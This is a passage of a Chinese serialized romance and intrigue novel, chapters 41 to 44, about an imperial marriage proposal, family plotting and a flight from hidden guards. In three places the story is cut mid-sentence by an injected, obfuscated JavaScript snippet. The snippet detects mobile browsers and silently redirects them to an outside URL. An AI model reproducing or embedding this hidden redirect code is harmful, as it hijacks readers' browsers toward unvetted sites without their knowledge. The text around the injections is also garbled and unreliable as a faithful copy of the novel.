道上仍有些薄冰，稍有不慎便能摔个大马趴，段恒跑起来却如履平地，一眨眼的功夫便行至容舟面前，“公主殿下，好巧呀！” 容舟回了礼：“许久不见，段司业家中一切安好？” “无病无疾，一切都好。”段恒愁苦道，“只是家中婚事催得紧，很是令人烦扰啊。” 而立之年仍未婚配，段家高门大户，说不急都是装的。 容舟笑了下，正想说什么，一只手掐住段恒的肩。 陈元邑漠视呲牙咧嘴的段恒，自顾行礼，开门见山道：“殿下也是为贵妃一事而来？” 容舟敛了几分笑：“陈大人也听说了百花朝凤的事？” 陈元邑嗤笑：“寒冬腊月，官吏却大肆掠集各季鲜花，如此兴师动众，想听不到都难。” “陈大人想如何做？” “殿下是圣上近亲之人，想必已有了主意，何必拿此事校验下官。” “陈大人还真是一如既往地往人心窝捅刀子。”容舟不以为意，朝宫内走去。 宣政殿外，紫袍身影深深刺入青白之中，夺去了三人目光。 段恒嘟哝：“看来今日又要无功而返了。” 二人没接话，径直上前，齐齐施礼：“周大人。” 见到三人，周惕守明显有些意外，转而又像是想起什么，端起了架子，没什么表情的应了声好。 几人眼观鼻鼻观心，默契拉开了距离。 曹公公从殿内出来，只见原先的一人变成了四人，心下一凉，迈出去的脚又收回门槛，转身回到殿内。 “陛下，两位祭酒大人和段司业也来了。” 谢逢华喉间一哽，一口茶水呛得脸色通红。 明玥也无心继续方才的话题，放下几块绸缎，为她拍背顺气。 启昭帝瞥了眼手忙脚乱的谢逢华，摆手：“没看见朕在招待贵客吗？让他们候着。” “可周相已侯了半柱香，再等下去，怕是……” “是朕让他来的？”启昭帝声若霜寒。 帝王一怒，曹公公也不敢多言，退了出去。 谢逢华顺过气来，脸色略有好转。 启昭帝单手支额，指尖点了点桌上的图纸，“谢娘子觉得那个纹样衬殊贵妃？” 自踏上宣政殿，谢逢华本能将自己藏于明玥身后，除了告礼，便再未主动说一句话。 明玥常与容舟同行，偶尔入宫寻容舟吃酒赏花，也曾与启昭帝打过几次照面，因而比起紧张的谢逢华，明玥更像是入了自家家门，游刃有余地与启昭帝同谈。 似并无论公事的念头，启昭帝穿着道服，带着一身花香会见了她们。 见谢逢华紧张，变戏法似的从袖中折了一枝海棠，大方赠与她。 谢逢华受宠若惊，下意识看向明玥。 明玥掩唇，轻轻点头示意她收下。 谢逢华将海棠藏于随身的香缨中，启昭帝瞧见了，随口道：“朕记得周世子的香缨上，也绣着一朵一模一样的芍药花。” 谢逢华不敢看明玥质问的眼神，含糊道：“许是买了同一家的香缨罢……” “那倒是有缘。”启昭帝笑了下，不再逗她，继续听明玥讲说。 思绪回笼，谢逢华看着图样上繁杂的花纹，道：“既是贵妃娘娘的礼服，又为何亲自不问过贵妃娘娘的喜好呢？” 启昭帝苦笑：“朕若敢去寻她，何必在此问你们。” 明玥在一旁拼命给谢逢华使眼色，谢逢华熟视无睹，接着道：“可民女入宫时，分明看到贵妃宫中的门开着，来来往往有各宫娘娘、有侍候的宫人，每个人都在关心她，拥戴她，却没人问过她是否想要这份特别关照。” 启昭帝默了下，道：“谢娘子也觉得朕做错了？” “陛下恕罪，民女不知陛下做了什么。”谢逢华道，“民女只看到殊贵妃痛失爱子，却无端背负祸国殃民的骂名，千万人所指时，心爱的夫君却漠然相待，一味沉溺过往疗愈自身。” 启昭帝按了按眉心，道：“明家主，这是你与她说的？” 明玥欲言，谢逢华却先一步夺过话头：“是民女的一家之言，陛下若觉得冒犯，尽管责罚便是。” 启昭帝无奈看她一眼：“何必呢，你明知朕不会怪你。” 谢逢华笑了下：“陛下明鉴。” 启昭帝叹气，彻底拿她没办法了，对茫然的明玥道：“一切按贵妃的意思办。” 明玥藏起心中疑虑，应了声是。 启昭帝又看向谢逢华：“去把外面三位大人请进来，冻坏了身子，下面的官员指不定怎么骂朕了。” 谢逢华一口气憋在胸中，不可思议地指了指自己：“民女吗？” “不然呢？”启昭帝道，“还有，你无视宫规礼记，当众顶撞天子，罚你在殿外候着，冷静冷静，醒醒神。” 谢逢华：“……” 谢逢华出现在容舟一行人面前时，四人神色各异。 谢逢华看了眼曹公公，朝四人施礼，朗声道：“陛下请三位大人进去。” 三位？ 段恒认真数了下在场人数，指了指自己：“不包括下官吗？” 谢逢华认真点头：“段大人说是，那便是了。” 周惕守冷嗤一声，提袍进殿。 容舟抬了抬眼，视线在谢逢华和段恒身上徘徊片刻，没什么表情，紧跟周惕守进了殿。 段恒满含希冀看向陈元邑：“陈祭酒……” 陈元邑头也不抬，略过二人，径直往殿内走去。 待彻底看不见三人身影，谢逢华“扑哧”一声笑出了声。 “笑什么？”段恒怨艾，“你怎么不进去？” 谢逢华淡定：“皇上把我赶出来了。” 心情骤然开朗。 段恒来了些兴趣：“你说了什么？说出来让我高兴高兴。” 谢逢华面无表情：“借着殊贵妃的名头劝陛下励精图治，实际上我连后宫都没踏进去。” 段恒愣了下，旋即死掐大腿肉，这才将笑意憋了回去。 “轻了。”段恒擦了擦眼角泪花，道，“敢顶着殊贵妃的名头欺瞒圣上，换做旁人，早就打入天牢十八般刑具伺候了。” 谢逢华叹道：“若不是我对陛下还有用处，我哪敢冒死谏言，你是没看到，方才我嫂嫂的脸都黑了。” “视人命如草芥的是周宰相，陛下只是不上朝不常问政事罢了，待下官还是不错的。”段恒嘟哝，“不过我也不喜欢上朝……” 若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533637|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是为了替陈言意洗冤，谢逢华也不愿天天天不亮就早起上课，课余还要面对一群头疼的太学生，谢逢华的寿命都短了半截。 谢逢华道：“陛下对你们很好？” “这是自然。”段恒挺起腰板，自豪地说，“我可是明嘉二十一年陛下钦点的探花郎。” 谢逢华无语：“谁问你这个了。我是问陛下对陈言意陈大人如何。” 段恒失落一瞬，又道：“陈兄是明嘉二十一年的状元郎，陛下自然器重他。” 不然又怎会短短两年越级攀升，离宰相之位也仅几步之遥。 可如此器重陈言意，又为何明知陈言意无错的情况下，纵容周氏一党肆意欺压，甚至不惜害死他呢？ 当初坐以待毙，如今却突然翻脸想为陈家洗冤，是心中有鬼，还是隐忍蛰伏，谢逢华持中立态度。 思来想去皆无果，谢逢华打了个寒颤，想起什么，道：“对了，前几日我看见刘博士——” 砰！ 殿内骤然响起瓷器碎裂的声音。 谢逢华与段恒对视一眼，双双往殿内奔去。 殿内，明玥、容舟分立一边，与周惕守冷眼相视。 陈元邑夹在两岸之间，神色自若。 启昭帝独占一边，把玩着桌案上的细口颈瓶，隔岸观火。 曹公公先反应过来，忙差宫人清理地上的碎瓷片，防止误伤他人。 看到明玥苍白屈辱的神色，谢逢华心头一紧，正要上前，衣袖被人死死拽住。 回头，段恒一改方才的嬉皮笑脸，神色凝重地摇了摇头。 循着他的视线望去，启昭帝稳坐高台，并没有插手的意思。 “陛下，”周惕守道，“明氏一族结交官宦，笼络臣妃，意图祸乱朝纲，恳请陛下明鉴。” “周惕守，你疯了吗？” 挚友被污蔑，此刻容舟顾不得什么礼教，破口骂道：“明御史仙逝，明家主身为一家之主，交友是为了扩展商路，经商是为养活明家，怎么在您眼中就成了拉拢？与我接触就是祸乱朝纲，那您身为长公主驸马，如今稳坐宰相之位又算什么？” “住口！”屈辱往事被提及，周惕守罕见露出气急败坏的神情，“五殿下，您别忘了，当初若无陛下和本相，那梁国早就打进华京了！您要想鸣不平，也得先擦亮眼睛认清眼前人！” “当初分明是你们故意——” “行了。”启昭帝放下花瓶，却转头看向谢逢华，“谢娘子，香缨可否借朕一观？” 谢逢华愣了下，解下香缨，恭敬呈上。 皇帝观摩着香缨的针脚走线，啧啧称叹，“连香缨都买一家铺子的，谢娘子和世子果真有缘。” 闻言，过往回忆如同走马灯，快速闪过脑海。 谢逢华咽了口唾沫，找回自己的声音：“只是……只是巧遇而已。” 指腹摩挲着柔软的布料，启昭帝笑容和煦：“谢娘子怕是有所不知，朕也瞧过卿儿的那枚香缨，那香缨内里，清清楚楚绣了谢娘子的小字，这也是巧遇吗？” 那一瞬间，诸多视线扎在她身上，心脏瞬间提到嗓子眼。 谢逢华不敢抬头，羞愤懊恼交织，五味杂陈，扰乱了思绪。 启昭帝拍拍她的肩：“别紧张，朕只是想起，长姐多次催朕为世子寻个才学尚佳的世子妃。谢娘子样貌端正，才思敏捷，又与卿儿两情相悦，倒不如由朕做主，为你们二人赐婚。” 谢逢华眼前一黑，险些跪倒在地。 42. 第 42 章 听到赐婚，赐婚对象还是周其卿，谢逢华一时不知皇帝是在奖赏她，还是在惩罚她。 谢逢华正要跪下求皇帝收回圣旨，有人比她更着急：“不可啊陛下。” 启昭帝睨了眼周惕守：“宰相既不许世子科考，又阻挠世子追寻真爱。立业不许，成家也不许，朕当真搞不清宰相的意图了。” 周惕守冷汗沿着青白的鬓角滑下，紫袍之下心惊胆战，“成家当讲门当户对，谢娘子不过寻常百姓家的农女，又怎能比得上华京的世家贵女。” 谢逢华点头如捣蒜。 对对对，就这么说。 周惕守主动为她说话，谢逢华感动不已，激动得恨不能上前给他一个拥抱。 见双方默契达成一致，启昭帝却没那么高兴了：“门当户对？当年全华京又有几个配得上长公主，她还不是挑了你做驸马？” 周惕守面色沉了下来。 谢逢华摸了摸鼻尖，道：“陛下，民女克夫。” 启昭帝看了她一眼：“克夫？” 谢逢华重重点头：“已克死过两门亲事了。况且长公主膝下只有世子，万一世子没挺过去，那不就成赶尽杀绝了？” 周惕守脸色一阵青一阵白，念在她是为周氏“考虑”，愤愤剜了谢逢华一眼，郁闷地憋下了这口气。 启昭帝无奈地看了她一眼，似乎责备谢逢华不识高低。 谢逢华自然知晓启昭帝想撮合这门亲事，皇帝赐婚，周惕守敢动她一根汗毛，那就是板上钉钉的藐视皇恩。 但是谢逢华不太愿意。 谢逢华不过就是想做些自己想做的事，并不想把自己的一辈子赔进去。 况且谢逢华被兄嫂溺爱惯了，家人常把她当珠宝捧着；突然让她嫁给比自己小几岁的、尚未及冠的夫君，谢逢华倒真是不知是嫁了个夫婿，还是养了个小孩。 有些事，点到即止。 突然提及的婚事让周惕守猝不及防，一时不敢再提明家的事，难得附和了谢逢华几句，便退到一旁装聋作哑。 启昭帝没再说些什么，烦躁地摆摆手，此事就算过去了。 在场人无一不松了口气。 估摸着时辰差不多了，曹公公上前，道：“陛下，今日还要去殊贵妃宫中用午膳吗？” “去！”提及贵妃，启昭帝豁然开朗，起身外走。 走到门槛处，又像是不死心般，回头对谢逢华道：“若谢娘子改了主意，记得与朕说，朕为你们做主。” 后半句话，启昭帝是盯着周惕守说的。 谢逢华抽了抽嘴角，命苦地应了声是。 周惕守脸色极差，眼窝深陷，才不过半炷香，人好似被抽去三魂，一下子苍老了好几岁。 左边是段恒，右边是陈元邑，前面是魂不守舍的周惕守，后边堵着容舟和明玥。 旁人好歹死路一条，摆在谢逢华面前的只有死。 早知今日遭此劫难，谢逢华宁愿赖在床上睡到日上三竿。 恩怨是非，皆与陈元邑无关。 “国子监还有公事，下官就不打扰了。”陈元邑拜了礼，拽着看戏的段恒，拂袖而去。 “哎别——” 两只手冷不丁搭上谢逢华的肩，将她按在原地。 容舟面无表情，明玥唇边含笑：“谢逢华，香缨哪来的。” “我自己缝的。”谢逢华小声道。 “你看我信吗？” “其实是买的。” “和周世子买一模一样的？还绣了你的小字？” “其实我——” “行了。”容舟打断她们，指了指不远处的周惕守，低声道，“这些事回去再说。” 谢逢华郁郁寡欢，一时竟忘了这里还有个大麻烦。 见她们注意到自己，周惕守冷漠的目光扫过她们，意味不明地哼了声，甩袖迈过门槛。 — 谢府。 火炉烧暖了房屋，却捂不热四人如置冰窟的气氛。 “这门亲事，我们不同意。”谢怀世直截了当，“就算没有周家，他周其卿也配不上我妹妹！” “我也没答应啊……”谢逢华有气无力。 “你答不答应有什么用。”容舟抿了口茶，道，“现在是圣上想撮合你们。” 谢逢华愤懑：“圣上这是乱点鸳鸯谱。” “你们这对鸳鸯不出现在他面前，谁点你们的谱？”谢怀世拍桌，震得屋檐落了层碎雪，“太学人人都在传你们不睦，起初我还以为是世子又欺负你，处处袒护你，没成想你们暗度陈仓，竟闹到皇帝面前，你让旁人如何看你？” 谢逢华张了张口，却说不出一个字。 明玥叹道：“谢逢华，天下男子数以万计，你非他不可吗？” 谢逢华低着头，不发一言。 “罢了。”容舟按住已濒临崩溃的谢怀世，对谢逢华道，“你先回房歇息，这段时间就不必再去太学了。” 谢逢华闷闷“嗯”了声，摇摇晃晃走出正厅。 谢怀世瘫倒在椅子里，双掌捂住苍白的脸，重重吐出一口郁结的浊气。 疲倦溢出指缝，宛若乌云压顶，压在每个人的心头。 从方才起，胸口就一阵阵刺痛。 辨不清是悲伤多些还是懊恼更多，若非情绪上头，谢怀世许是一辈子都不会说出那些指责的话。 望着沉默的夫妻，容舟安抚道：“依我看，只要没人提起，皇帝大抵不会想起这桩亲事。” “世子可是皇帝的亲外甥，进出皇宫比出入家门还轻巧，只要周其卿不死心，陛下随时可能将应时……” 明玥说着，忽然哽咽：“陛下是一时兴起，世子也是一时兴起，他们随口一句话，却要让应时搭进一辈子。何况长公主和周惕守本就不偏爱应时，应时嫁进周家，岂不是要受那周家人的气？” “不行，”谢怀世眼眶通红，“嫁皇家，嫁草莽，嫁谁都行，但要是欺负应时，我定要与他们拼命。” 容舟彻底没了法子：“照你们的话说，除非应时嫁为他人妇，不然就算是死，周其卿也会将尸体挖出来合葬。” 明玥道：“其实当初我和济民想着，待春闱毕，再另为应时择一户好人家。可谁成想半路杀出个周其卿，择亲一事，是断然不能再拖下去了——济民，你在听吗？” 谢怀世回神，灌了盏茶，这才找回自己的声音：“应时那边……” “事到如今，你还惦念着应时？”容舟道，“当下最要紧的是断了周其卿的念想，待躲过了风头，大不了找个借口和离便是。” 明玥颔首表示赞成：“济民，你我都正值壮年，即便日后应时和离，我们也能养她一辈子。” 谢怀世像是受到触动，默了许久，艰难点头：“好。” “过两日我便放出消息，若有良人，我再来寻你们。” 说罢，容舟起身，走了两步，忽然顿住脚步，侧目道：“这几日让应时安心在府中休养，太学那边，我另擢人替任。” — 窗外不知何时又飞雪，连绵几日不停。 谢逢华托腮望天，思绪随着翻飞的琼花，飘出高耸的院墙，奔向繁华的城街。 抬手，玉花坠入掌心，眨眼间融成一颗颗细小的水珠。 “这是今年华京的第一场雪。”周其卿说，“年年下雪，年年不同雪，今年倒是更独特些。” 谢逢华：“有何不同？” 周其卿看向她，冰花凝于他的眉眼，白花墨眸，凭添几分温柔，“谢娘子不妨猜猜？” 一孔尚能窥百态，谢逢华可猜不中他的心思。 就算猜中了，她也不会轻易说出口。 “许是比往年早了些？” 周其卿笑意凝在脸上：“还有呢？” 谢逢华：“比往年大些。” 周其卿：“……然后呢？” 谢逢华：“不知道兄长还愿不愿意陪我推雪人。” 周其卿：“……” 周其卿苦笑一声：“我也可以陪你推雪人。” 谢逢华笑了笑，低着头，踏在松软的雪上，一脚深一脚浅，坑坑洼洼，连衣角都被染成了纯白色。 周其卿跟在她后面，垂眸敛目，不知在想什么。 几日不见，怎么就变得不爱说话了？ 谢逢华想着，脚步也不自觉放慢。 周其卿也随之停下脚步，等着她下一步动作。 谢逢华：“在想什么？” 周其卿：“想你。” “我怎么了？” “那日真的不是你吗？” 多说多错，既然要赖账就更不能多言。 “你觉得是，那便是了。” 谢逢华含糊其辞，反而彻底打消了萦绕在心头的疑虑。 今日谢逢华心情不错，缠在发髻上的丝带随着动作一摇一晃，俏皮可爱。 周其卿摸了摸腰间钱袋，快步追上她。 今日风雪交加，出摊的商贩不多，酒楼客栈倒是一如既往的繁盛，酒气饭香弥漫了整条街道。 周其卿咽了咽口水，道：“谢娘子冷不冷？不如我们吃点酒暖暖身子？” 谢逢华睨他：“想吃酒？” 周其卿点头。 谢逢华冷漠回绝：“不行，以后也不许碰酒。” 周其卿不解：“为何？” 谢逢华揉了揉肩，耳尖烫红：“反正……不行就是不行。” 好不容易得空与她同行，周其卿也不愿因私事扰了谢逢华的兴致，默默咽下勾起的酒虫，跟着谢逢华继续沿街闲逛。 “以后不许碰酒。”正沮丧时，谢逢华冷不防说道，“你若实在忍不住，就去喝，反正别让我看见。” 周其卿：“谢娘子讨厌酒吗？” 不讨厌。 但是讨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533638|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厌喝醉酒后随便咬人的狗。 谢逢华恹恹瞥他一眼，支支吾吾：“反正……你以后少沾酒，酒品挺差劲的。” 周其卿正琢磨她这话什么意思，谢逢华忽然刹住脚，停在一个摊子前。 一块各色破布拼接的麻布撑起各色香缨绣品，摊主单衣裹身，破旧的布料隐隐露出青紫的肤肉，深陷的眼窝内，一双水灵灵的眼睛怯生生看着他们。 “要……要买一个吗？”她沙哑的声音哆哆嗦嗦，呲线的袖口内，探出五根骨瘦嶙峋的指头，“五，五文钱，不能再少了。” 这绣工虽有形神，却不比皇城的绣娘绣得精细，用料也都是寻常布线，五文钱的确不多。 “这鸢尾绣得漂亮。”谢逢华蹲在地上，信手拾起一个月白香缨，打量一番，惋惜道，“只有这一个吗？我想配个对，与夫君同用。” 摊主看了眼周其卿，见男子衣着华美，眼中有一瞬紧张，点点头：“还……还有一个，我，我找找……” 摊主在一堆香缨中挑挑拣拣，周其卿俯身，凑近谢逢华耳畔，低声道：“你方才说，想与谁同用？” “我方才说话了吗？”谢逢华笑着抵住他的脸颊，“在外面呢，别闹了。” “我听到了。” “风声这么大，许是你听岔了。” 摊主拾出一枚月白香缨，捧在掌心，看向谢逢华：“这位娘子——” 谢逢华只手托腮，闻言轻轻咳了声，在摊主不解的目光中，食指抬了抬，指尖指向身旁人。 摊主机敏，立刻转了方向，对准周其卿：“这位公子，给您家小娘子买一对罢，寓意情谊绵远，天长地久。” 这话直白，却正中周其卿心窝。 周其卿掏出钱袋，放下一甸银子。 摊主受宠若惊：“这……这太多了……” “收着罢。”谢逢华道，“另外，不知您这里可否有针线？我想绣点东西。” 少女点头，从随身的钱袋子里摸出一卷针线。 针有些粗，谢逢华便随便在地上磨了几下，磨得尖了些，拾起那枚鸢尾香缨。 穿针引线，缝了两针，忽然犯了难：“哎呀，我好像还是不太会绣啊。” 周其卿拿着自己的那枚香缨，闻言，讶异地看向她：“你……” “这位小娘子。”谢逢华不理会周其卿的诧异，可怜兮兮地举着针线，“我手笨，您可否帮我绣两针？” 摊主眨眨眼，结结巴巴道：“没，没问题，绣，绣什么？” “绣我的小字。” 谢逢华说着，寻了处空地，在平整的雪地上一笔一划写下“应时”二字。 摊主眯着眼，认清了形，捏着绣花针，低头认真在香缨上绣制。 借着指点的名义，谢逢华解开身上披风，披在摊主身上。 身上轰然多了一层暖意，摊主欲脱下，却被谢逢华按住，“你手太抖了，缝错针怎么办。先穿着，绣完你再还我。” “谢……谢谢……” 谢逢华坐在摊主身边，似是有些无聊，没话找话：“怎么下雪天也出门卖东西，家里人不会担心吗？” 摊主摇头，手下没停：“家中只有一个久病的阿娘，病时神志不清，连她自己都想不起姓名，不会想起我的。” “其他人呢？” “前几年打仗，阿爹和兄弟都被当官的抓走了，再也没回来。阿姊织布养家，却被当地恶商看中，强纳为妾，没多久自尽身亡，家中便只剩下我和阿娘了。” “我父亲也是被征兵的抓走了，死在堆成山的无名士卒里，母亲相思成疾，久病不愈，最后撒手人寰……说起来，我们倒是同病相怜。” “但是您识字，像是个读书人，能吃饱穿暖，不像我们，日日为生计奔波，为一条不值钱的命苟延残喘。” 世间人生百态，却总也逃不过一个“苦”字。 百姓有百姓的苦，皇帝有皇帝的愁，即便是心有灵犀的两个人，也做不到完完全全的感同身受。 这世道太乱了。 庸俗者安于现状，利己者步步为营，清醒者无能为力……棋盘上摆满了棋子，却无人收拾乱局。 “我比不上你们。”谢逢华说，“你们能靠手艺养活家人，我读书认字，却什么都做不了。” 摊主收针，亮晶晶的眼睛望着她，“但您是个好人。” 香缨莹白如月，一尘不染。 谢逢华却忽然有些不敢接。 她有些害怕，怕手上无形的鲜血玷污了它。 “想什么呢？”周其卿接过那枚绣了字的香缨，收入袖中，“这个我要了。” 谢逢华回神，探手欲夺：“那绣了我的字。” “我掏的钱。”周其卿抬高手，理直气壮。 谢逢华争抢无果，气冲冲收下了那枚没有绣字的香缨。 等回家自己绣一个，绣的比他的还好！ 43. 第 43 章 这些时日，谢逢华被明玥拽着，日日奔波于绢纺与明府之间。 择夫婿的事因宫宴暂时耽搁下来，可谢逢华要嫁人的消息还是不胫而走，引得太学生们议论纷纷。 “谢娘子生的花容月貌，居然迟迟未定亲，这倒是新鲜。” “这有什么新鲜的，她那兄嫂有多护着她你又不是没见过，大惊小怪。” “嗐，只是不知谢娘子这般温顺娇可的美人，最终又会花落谁家。” “谢娘子挑的很，看着可人，实则性子泼辣得很，一个字不合她心意，她拐弯抹角能骂的你找不着回家的路。” “还不是你当着谢娘子的面说谢学正坏话，谢娘子不揍你才怪。我上次袖口不小心划破了，谢娘子还亲手为我绣补，你瞧这花骨朵——” 学子们嘻嘻哈哈，什么黄的白的黑的一个劲往外冒。 周其卿听得心烦，抄起桌案上的书，狠狠朝人堆砸过去：“都闭嘴！” 学堂瞬间鸦雀无声，众人面面相觑，不知那句话又惹怒了这位爷。 周其卿盯着那指甲盖大的花骨朵，薄唇紧抿。 那人觉察到周其卿欲杀人的视线，缩了缩脖子，讪讪背过手去。 最后还是章旭找了个借口，将周其卿从学堂拉出去，学子们这才松了口气，却也不敢再肆意议论谢逢华，随便说了几句，这事也就当翻篇了。 “你与他们置什么气？”章旭道，“大家都是呈口舌之快，说笑罢了，且不论谢娘子是否看得上我们，放眼全太学，谁有那个胆子敢与你抢谢娘子？” 周其卿满腹怨念：“谢娘子还在躲我。” 章旭：“谢学正不是说过了吗？谢娘子染了风寒，不便见人。” 周其卿：“小铭子说，谢娘子常随明家主去绢纺，直到傍晚才归家，一连几日，皆是如此。” 章旭恨铁不成钢：“你管谢娘子做什么？那日周伯父说得很清楚，谢娘子不愿嫁你，周家也决不可能让谢娘子嫁进门。” 那日从宫中回来，周惕守好似中了邪，破天荒为周其卿说了几门亲事，若非长公主借口推脱，恐怕周其卿已喜袍加身了。 周其卿厌恶父亲的乱点鸳鸯谱，为此，他不得不躲在太学，日日对着圣贤书消磨时间。 比谢逢华先到来的，是明家招亲的消息。 周其卿本就不安的心越发慌乱烦躁，想去找她，却又怕父亲知晓从而伤害她，一时不敢轻举妄动。 章旭说得在理，可周其卿只是不甘心。 凭什么旁人轻而易举得到的东西，周其卿拼尽全力，却也只是赔了夫人折了兵，到头落不着一点好处。 周其卿厌倦这种处处受制的日子。 过几日的宫宴，或许是他最后的机会。 周其卿握紧拳头，暗暗地想。 克夫又怎么样？ 周其卿与她相处这么些时日，不照样活得好好的？ “什么克夫，那不过是用来搪塞旁人的借口而已。” 谢逢华打开食盒，卸下最上层的糕点，指尖沿着边缘摩挲，只听“咔哒”一声，最底层的木板松落。 谢逢华取出夹层中的信件，在他眼前晃了晃：“你瞧，这不就吓死一群胆小的？” 段恒拆开信，“先前那些未婚夫呢？也是被你吓死的？” 谢逢华一副无所谓的模样：“碰巧的意外罢了。难不成您怀疑是我杀了他们不成？” “我对他们是死是活没兴趣。”看清信上内容，段恒脸色骤变，“寿安公主的遗书？你从哪儿弄来的？” 谢逢华笑笑：“前阵子随嫂嫂入宫时，顺路去福康宫转了一圈。” 段恒严肃道：“寿安公主自尽后，福康宫便再不许旁人出入，你又是如何进去的？” 谢逢华转着手腕上的玉镯，漫不经心：“自然是有贵人帮忙了……” 至于背后的贵人是谁，不言而喻。 段恒细细读完遗书内容，无数情绪纠缠，化作文字冲击着他的思绪。 段恒一时如鲠在喉，许久未能说出一句话。 好半晌，段恒听到自己颤栗的声线：“这封信，圣上看过吗？” “还没。”谢逢华取回信，重新折好，“只凭一封信，定不了周家的罪。” 况且，那日谢逢华打着制衣的旗号频繁出入宫中，想必已引起一些人的疑心。 “这信……先不要给陛下。” 段恒深吸一口气，愁苦溢上眉头，“我有一种感觉。这封信不止是周惕守的要害，也可能……是我们的催命符。” 谢逢华点头：“回去我找个地方藏起来。” 一封轻飘飘的纸，此刻却像是一块山石，沉甸甸压在二人心上。 谢逢华叹气，忽而压低声音，“段大人来时，可曾遇见过行迹可疑的人？” 段恒回想了会儿，摇头：“并未见过。” 谢逢华愣了下，似乎觉察到什么不好的事，脸色骤然变得难看：“那便是他们了……” “谁？” 谢逢华顿了顿，将前些时候跟踪刘尽才的事一一说了。 段恒从一开始的平静转为吃惊，听到“跟踪”的字眼时，倏然忐忑不安。 “据我所知，在华京拥有暗卫的，除了皇宫城的皇亲国戚，就只有一个周家。” “周惕守？”谢逢华奇怪道，“他们怎么会勾结在一起？” “这个尚且不知，不过既然知晓刘博士勾连周惕守，此人便信不得了。” 谢逢华道：“刘博士与我兄长走得极近，我只怕他们已有所觉察。” 幸好谢逢华从未将那些事告知过旁人，不然以谢怀世的戒备心，谢逢华早就被下狱等死了。 倒不是谢逢华不信任谢怀世，只是这种一不留神就可能掉脑袋的事，知道太多，反而不是什么益事。 就连唯二知情的段恒，谢逢华其实也不大能信任他。 但谢逢华别无选择。 段恒是当年的知情人之一，又与陈言意共事多年，品性能力都是陈言意亲口承认的。 相较于隔着血海深仇的陈元邑，反倒是仇恨没那么深的段恒俨然更合适些。 想起陈元邑，谢逢华忽然联想到一件被自己遗忘很久的事，问道：“陈祭酒家的孩子怎么回事？” “外界不都传言是陈大人的私生子吗？” 陈夫人自幼多病，因不能生育，二人迟迟未完婚。 可就在某一日，陈元邑突然抱回一个尚在襁褓中的婴儿，养与陈夫人膝下。 不清不白的孩子，缄口不言的夫君，陈夫人一时难以接受，为此夫妻二人没少因孩子起争执。 段恒抿了口酒：“陈大人未曾与旁人提及过家事，这些还都是我从嫂子口中套出来的。这事不光彩，谢娘子还是少打听为好。” 谢逢华点头，无意朝窗外瞥了一眼，身体蓦然绷直。 觉察到谢逢华的异样，段恒正要朝外瞧去，谢逢华眼疾手快，起身将窗子关紧。 “怎么了？”段恒茫然。 “有人盯着。”谢逢华将信折了几折，塞进袖中，快速系好面纱，“换个地方。” 段恒会意，戴上帷帽，“随我来。” 在二人离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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容妙凝道：“若你不喜，母亲再给你寻……” “娶谁都一样。”周其卿无礼地打断了她的话，疲倦地阖上眼，“就她罢。” “……” 那是要共渡一生的人，怎么可能是谁都一样。 容妙凝心知肚明，却还是执着地说：“后日见一面罢。” “……随您。” — 那些人追得太紧，现在回府无异于引狼入室。 好在四周尽是楼阁巷街，靠着脑子里舆图和灵敏的躲避，到底是将那些人暂时甩远了。 谢逢华看着扶着墙干呕的段恒，道：“你出门怎么不带护卫？” 方才跑得太急，胃里酒水翻搅，段恒吐完，脸色苍白如纸。 段恒也顾不得什么形象，大剌剌用袖子抹了嘴，有气无力道：“早知出门会被人追杀，我今日说什么也不踏出家门。” 谢逢华拔下发簪，闻言，颇为无语地看了他一眼。 段恒倚着墙缓了一会儿，余光瞥见她手中锋利的发簪，好心劝道：“不到万不得已，别想硬碰硬。” 谢逢华道：“他们很快就能追上来。” 段恒抬眼：“不远处便是太学。” 谢逢华蹙眉：“可那些都是学生……” 纷乱的脚步声逼近，隐约间，似乎听到兵刃出鞘的声响。 “先保命。” 段恒不再犹豫，抓起谢逢华的手腕，直奔太学而去。 44. 第 44 章 太学生鱼龙混杂，保不齐误伤哪位金尊玉贵的少爷，偷鸡不成反蚀把米，便是得不偿失。 那些暗卫不敢直接持刀闯入太学，却也不甘心就此离开，在大门外徘徊，迟迟不去。 “最近出门小心些罢。”说不清是自嘲还是调侃，谢逢华言语里夹杂几分幸灾乐祸，“保不齐明日就有人重金取我们的脑袋了。” 话最这么说，可总耗在这里也不是个办法。 何况有些学子已认出他们。虽面上不表，但孤男寡女独处角落，总归是要在背后说几句闲话的。 谢逢华把帷帽扣在自己脑袋上，引起段恒嘲笑：“哟，这是替你素未谋面的夫君守身如玉吗？” 谢逢华看着离自己快两丈远的段恒，纱帘下无情翻了个白眼：“你躲这么远做什么？” “男女有别。”段恒干咳一声，“为了你我清誉，最近几日还是不要再见面为好。” 就像小狗在人群中寻到最怕狗的人，谢逢华顿然嗅到一丝不同寻常的八卦的味道，“段司业有心上人？” 段恒毛骨悚然，惊恐道：“这都能听出来？” 在谢逢华持之以恒地纠缠下，段恒实在经不住软磨硬泡，憋红了脸，支支吾吾道：“是，我先前是爱慕过一个女子，但是……但是她并不知我心意……” 